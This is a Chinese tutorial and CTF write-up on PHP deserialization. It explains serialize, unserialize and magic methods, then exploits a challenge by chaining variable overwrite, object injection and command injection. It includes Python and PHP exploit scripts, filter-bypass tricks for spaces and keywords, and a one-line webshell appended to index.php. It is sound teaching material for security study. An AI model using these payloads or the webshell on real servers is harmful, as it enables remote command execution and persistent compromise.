35

PHP反序列化漏洞简介及相关技巧小结

 4 years ago
source link: https://www.tuicool.com/articles/NZRvMfR
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径

要学习PHP反序列漏洞,先了解下PHP序列化和反序列化是什么东西。

php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize。反序列化的函数为unserialize。

序列化

举个栗子:

<?php
class Test{
         public$a = 'ThisA';
         protected$b = 'ThisB';
         private$c = 'ThisC';
         publicfunction test1(){
                  return'this is test1 ';
         }
}
$test = new Test();
var_dump(serialize($test));
?>

输出:

1564545388_5d41116ca0170.png!small

解释一下:

O代表是对象;:4表示改对象名称有4个字符;:”Test”表示改对象的名称;:3表示改对象里有3个成员。

接着是括号里面的。我们这个类的三个成员变量由于变量前的修饰不同,在序列化出来后显示的也不同。

第一个变量a序列化后为 s:1:”a”;s:5:”ThisA”;

由于变量是有变量名和值的。所以序列化需要把这两个都进行转换。序列化后的字符串以分号分割每一个变量的特性。

这个要根据分号来分开看,分号左边的是变量名,分号右边的是变量的值。

先看左边的。其实都是同理的。s表示是字符串,1表示该字符串中只有一个字符,”a”表示该字符串为a。右边的同理可得。

第二个变量和第一个变量有所不同,多了个乱码和 * 号。这是因为第一个变量a是public属性,而第二个变量b是protected属性,php为了区别这些属性所以进行了一些修饰。这个乱码查了下资料,其实是 %00(url编码,hex也就是0×00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00*%00

第三个变量的属性是private。表示方式是在变量名前加上%00类名%00

可以看到虽然Test类中有test1这个方法,但是序列化后的字符串中并没有包含这个方法的信息。所以序列化不保存方法。

反序列化

<?php
class Test{
         public$a = 'ThisA';
         protected$b = 'ThisB';
         private$c = 'ThisC';
         publicfunction test1(){
                  return'this is test1 ';
         }
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>

输出:

1564545442_5d4111a2149d0.png!small

可以看到类的成员变量被还原了,但是类方法没有被还原,因为序列化的时候就没保存方法。

魔术方法

大概了解了php序列化和序列化的过程,那么就来介绍一下相关的魔术方法。

__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用

直接举栗子吧:

<?php
classTest{
         public function __construct(){
                  echo 'construct run';
         }
         public function __destruct(){
                  echo 'destruct run';
         }
         public function __toString(){
                  echo 'toString run';
         }
         public function __sleep(){
                  echo 'sleep run';
         }
         public function __wakeup(){
                  echo 'wakeup run';
         }
}
/**/
echo'new了一个对象,对象被创建,执行__construct</br>';
$test= new Test();
/**/
echo'</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest= serialize($test);
/**/
echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup</br>';
$usTest= unserialize($sTest);
/**/
echo'</br>把Test这个对象当做字符串使用了,执行__toString</br>';
$string= 'hello class ' . $test;
/**/
echo'</br>程序运行完毕,对象自动销毁,执行__destruct</br>';
?>

输出:

1564545502_5d4111dea54c7.png!small

可以看到有一个警告一个报错,是因为__sleep函数期望能return一个数组,而__toString函数则必须返回一个字符串。由于我们都是echo的没有写return,所以引发了这些报错,那么我们就按照报错的来,要什么加什么。

1564545516_5d4111ec72a97.png!small

输出:

1564545530_5d4111fa958d0.png!small

现在只需要明白这 5 个魔法函数的执行顺序即可,至于里面的代码就要看程序员或者出题人怎么写了。。。对于 __construct 函数的话我个人认为好像莫有多大用。。也许是我菜吧。。感觉没有什么地方能在反序列化的时候用上。欢迎大佬指点。

一道题目引发的技巧小结

了解了反序列化的基础和一些魔法函数后,我们来看到题吧。该题不仅考了反序列化,还简单考察了一下变量覆盖和命令注入的正则绕过。其中有一些坑我们可以看一下。

该题出处: https://www.cnblogs.com/nul1/p/9928797.html

源码很简单:

<?php
error_reporting(0);
class come{    
   private $method;
   private $args;
   function __construct($method, $args) {
       $this->method = $method;
       $this->args = $args;
    }
   function __wakeup(){
       foreach($this->args as $k => $v) {
           $this->args[$k] = $this->waf(trim($v));
       }
    }
   function waf($str){
       $str=preg_replace("/[<>*;|?\n ]/","",$str);
       $str=str_replace('flag','',$str);
       return $str;
   }           
   function echos($host){
       system("echos $host".$host);
    }
   function __destruct(){
       if (in_array($this->method, array("echos"))) {
           call_user_func_array(array($this, $this->method), $this->args);
       }
    }
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
       if($i===1)
       {
           $i++;   
           $$key = $value;
       }
       else{break;}
}
if($first==="doller")
{
   @parse_str($_GET['a']);
   if($var==="give")
    {
       if($bbb==="me")
       {
           if($ccc==="flag")
           {
                echo"<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
           }
       }
       else
       {echo "<br>think about it<br>";}
    }
   else
    {
       echo "NO";
    }
}
else
{
   echo "Can you hack me?<br>";
}
?>

拿到源码我们先简单浏览一下,看到parse_str就想到了用变量覆盖来过这些if语句,而parse_str的参数是通过GET请求中的a参数中获得,parse_str进行变量分割的符号是 & 号,没怎么多想就直接先打上一手请求先:

?first=doller&a=var=give&bbb=me&ccc=flag

我原本的意愿是希望这样子被解析

?first=doller&a=var=give&bbb=me&ccc=flag

希望红字是一个整体,是一个字符串,是a这个参数的值。总共的GET参数就两个,一个first一个a。但php解析的是。。。

?first=doller&a=var=give&bbb=me&ccc=flag

即有4个参数,a的值是var=give,但遇到&号在url中就被解析成了GET参数的分割符,认为bbb=me是一个新的GET的参数。

不过好在有URL编码这种东西,可以在这有歧义的时候扭转局势,我们把&号进行URL编码,这样子解析时就会认为是一个字符串了。URL编码可以用php的urlencode函数。得到&的URL编码为%26。构造请求:

?first=doller&a=var=give%26bbb=me%26ccc=flag

看到了欢迎字样:

1564545613_5d41124d0bce0.png!small

查看代码,发现到了反序列化的地方了。而反序列化的来源是通过POST提交的come参数

1564545622_5d411256b9069.png!small

知道了要反序列化,接下来就是确定要反序列化的类了。这个源码就一个类come。对这个类进行审计。

__construct感觉没什么用,先扔在一边,重点看__wakeup和__destruct函数,__wakeup是调用了一个waf函数,用来做正则过滤的,这个我们先放一下,我们看__destruct函数,它使用了call_user_func_array这个php内置的方法,作用是调用一个指定方法。举个这个函数的简单栗子:

1564545636_5d4112646ae35.png!small

第一个参数是要调用的函数,第二个参数是一个数组,用于给调用的函数传参。数组中第一个值就是函数中的第一个参数,以此类推。

但是题目中的call_user_func_array中的第一个参数是个数组,这什么意思呢。。?

1564545683_5d4112931094c.png!small

数组的话就是数组的第一个元素表示是该方法所在的类,第二个元素就是方法名。

我们来看看这个类的成员变量吧,在可以反序列化后,就要明白这个类中的所有成员变量都是我们可控的,所以call_user_func_array()中的$this->method和$this->args也就是我们可控的。不过由于执行这个函数要通过一个if,且调用的函数必须是本类的函数,那我们就只能看看本类中还有什么方法吧。

我们看看进入call_user_func_array()函数前的if判断,它判断我们要调用的函数名是否在一个允许调用的列表里,而这个列表就只有echos这一个函数,也就是说我们的method变量已经限定死了,必须为echos。

那么我们只能去看看echos函数里有什么了,居然有system函数

1564545730_5d4112c2111b4.png!small

那么我们就可以进行命令注入了,可以看到echos函数就只有一个形参,结合上面我们说到的call_user_func_array()函数,就形成了这样一个思路:

1、通过反序列化控制method和args两个成员变量
2、 method必须是echos不然通不过if判断
3、通过call_user_func_array()函数第一个参数调用本类中的echos方法,第二个参数给方法传参-
4、由于echos方法中的system函数的参数是拼接形参的,完成命令注入。

思路有了,那么我们看看args变量要怎么写吧。根据执行顺序,先wakeup再destruct(由于是反序列化的,不会执行construct,只有new才会执行construct)。那么我们看看wakeup中又进行了什么操作

1564545828_5d411324bfa1c.png!small

可以看到它默认将args变量视为一个数组,对其进行了foreach,然后又对数组中的每个元素送去了waf进行过滤。这表明我们传入的args是一个数组。

再来看看waf函数是干嘛的。

1564545839_5d41132f297d3.png!small

第一行,正则匹配args的元素,如果元素中出现将斜杠/之间的任意一个字符,就将他们替换为空。这里过滤了|符号,这个有点伤,因为命令中是通过|进行管道的操作,在命令注入时用|进行拼接很有用,不过即使它禁用了,我们还可以通过& 达到多个命令一行执行的目的。

第二行,如果args中的元素中存在flag这个字符串,替换为空,也就是说我们要读取flag文件时要通过双写flag进行绕过。

这里注意一下system函数,有个坑。。。

1564545920_5d411380d0959.png!small

echo写错写成了echos。。。。即这个命令本身就是错的,所以选择命令的分隔符要慎重。

资料:

&是不管前后命令是否执行成功都会执行前后命令
&&是前面的命令执行成功才能执行后面的命令
||是前面的命令执行不成功才能执行后面的命令
|管道符

所以我们要使用&符而不能使用&&。

1564545996_5d4113cc63500.png!small

1564546005_5d4113d5168b8.png!small

复制这一串序列化字符串到Postman上,然后既然我们都拿到源码了,我们把第2行的error_reporting(0);先注释起来,这个意思是抑制报错,这对我们调试代码很不友好,把报错打开才能更快找到问题所在。

1564546019_5d4113e3c00ae.png!small

发送payload,emmm…… no responose?

1564546031_5d4113ef81fe9.png!small

在这里思来想去,折腾了一下,后面通过var_dump才找到问题源头(var_dump大法好)

1564546045_5d4113fd3724d.png!small

1564546053_5d411405e83fc.png!small

前面刚说了要注意类型。。。private和protected的变量名前都是有0×00的。。。echo的输出由于是NULL就空过去了,但是没有逃过var_dump的法眼(var_dump大法好)

那么我们就要手动添加0×00上去了,这里可以用python、php等编程语言将0×00转换成字符然后再通过他们自己的网络模块发送,

栗子:

python:(2.7)

通过decode和encode来进行编码

1564546074_5d41141a9098c.png!small

import requests
s = requests.session()
url = "http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag"
n = '00'.decode('hex')
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}'
r = requests.post(url,data={"come":o})
print(r.text)

php:

通过urldecode进行对%00进行解码

<?php
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,'http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag');
curl_setopt($curl,CURLOPT_POST, 1);
$n = urldecode('%00');
$o = 'O:4:"come":2:{s:12:"'.$n.'come'.$n.'method";s:5:"echos";s:10:"'.$n.'come'.$n.'args";a:1:{i:0;s:3:"&ls";}}';
curl_setopt($curl,CURLOPT_POSTFIELDS, ['come'=>$o]);
curl_exec($curl);
curl_close($curl);
?>

不过有更快的方法。。。直接通过postman的urlencode/urldecode即可。因为0×00也就是url编码中的%00。所以url编码一下就完事。

1564546145_5d411461bb831.png!small

要用%00包裹住类名,不能包多了也不能包少了,虽然%00也算一个字符,但是Php序列化的时候已经帮我们算好了,所以不需要修改,或者说,我们之前的那个长度值就是错的。。。

选中%00,右键,选择decode即可。

结果:

1564546166_5d4114767b317.png!small

我们再发送,有response了,

1564546176_5d4114801f7d1.png!small

发现有flag.txt。由于我是windows环境,读取文件使用type命令。

type命令格式:type文件路径

修改payload。

1564546193_5d4114917947a.png!small

发现无回显

1564546211_5d4114a3a158e.png!small

命令是对的,是因为刚刚我们忽略的waf函数在作怪。刚刚提到wakup时将每个args变量拿去在waf函数中洗了个澡。过滤内容为:

1564546226_5d4114b2b02d3.png!small

flag这个字符串被替换为空,可以通过双写flag来绕过:flflagag

不过在第一个正则中过滤了空格就有点难受了,总所周知系统命令都是要打个空格才能添加参数的,过滤了空格怎么破?

思来想去后,发现windows没有人提供资料,但是linux下有很多。

绕过方法:

!! (最好一开始就先用这个,执行上一条命令,也许有奇效。。)

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat<flag.txt

cat<>flag.txt

{cat,flag.txt}

KG=$’\x20flag.txt’&&cat$KG (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

随便用一个(linux环境下):

1564546265_5d4114d9c7345.png!small

windows环境下的话时我突发奇想随便试出来的。适用性不是很广,也就type这个命令能用用。。

type.\flag.txt
type,flag.txt
echo,123456

1564546284_5d4114ece548b.png!small

echo的话这个如果脑洞大点可以通过echo >>的方式将一句话追加到php文件末尾,达到getShell的目的。不过这样子如果该php文件很规范的用了?>结尾就莫得,如果没有那么规范,没用?>结尾就可以成功。

示例:

echo,@system($_GET['cmd']);>>index.php

1564546321_5d411511e4302.png!small


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK